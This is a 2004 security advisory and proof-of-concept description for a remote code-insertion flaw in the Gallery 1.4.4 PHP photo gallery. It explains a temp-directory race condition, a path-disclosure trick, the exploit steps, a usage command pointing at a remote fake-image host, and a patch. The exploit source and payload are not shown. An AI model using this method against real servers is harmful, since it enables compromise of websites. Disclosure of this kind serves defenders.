Gallery 1.4.4 save_photos.php PHP Insertion Proof of Concept
By aCiDBiTS acidbits@hotmail.com 17-August-2004
++ Vulnerability description ++
Gallery (http://gallery.sf.net/) is a PHP image gallery script. Having
permission to upload photos in some album and the temporal directory is in
the webtree, then it is possible to create a file with any extension and
content. Tested in v 1.4.4, maybe older versions also vulnerable.
When uploading photos with the "URL method", they are saved in the temporal
directory before processing them. Any file with any content is accepted.
After downloading, the file is processed (discarded if it is not an image)
and deleted from the temporal directory.
When the script downloads the file to the temporal directory there's the
function set_time_limit() that by default waits 30 seconds to abort the
process if no more data is recieved and the transfer connection isn't
closed. If the temporal directory is in the webtree, during this 30 seconds
timeout we can access to the file, executing it.
There's also a "directory disclosure" that I've used to determine if the
temporal directory is in gallery's webtree. It consists in sending a longer
filename than permited by the filesystem for the image upload name.
++ How this Proof of Concept works ++
1. You need to have a fake image script (like galfakeimg.php) in a web
accessible by gallery to download it.
2. The script searches for an Album with "everybody" permission to add
photos.
3. Checks if the temporal directory is in the webtree.
4. Tell gallery to download the fake_photo that contains the script.
5. After XEC_TIMEOUT seconds waiting, it executes the temp file and
test.php is created.
Usage (in my debian box):
php4 -q ./gal_poc.php "http://192.168.1.22/galfakeimg.php"
"http://127.0.0.1/gallery"
NOTE: If there are no albums with public permissions to add photos and you
have a valid login, modify the script adding your login cookie.
++ Workaround ++
save_photos.php, line 154:
$file = $gallery->app->tmpDir . "/photo.$name";
Insert:
if(strlen($name)>20) $name=substr($name,strlen($name)-20);
if (!acceptableFormat(strtolower(ereg_replace(".*\.([^\.]*)$", "\\1",
$name)))) die( "\nInvalid file type!\n");
$file = $gallery->app->tmpDir . "/photo.$name";
++ galfakeimg.php ++
This is the content of galfakeimg.php. It has to be placed in a remote web
directory accessible by the gallery script.
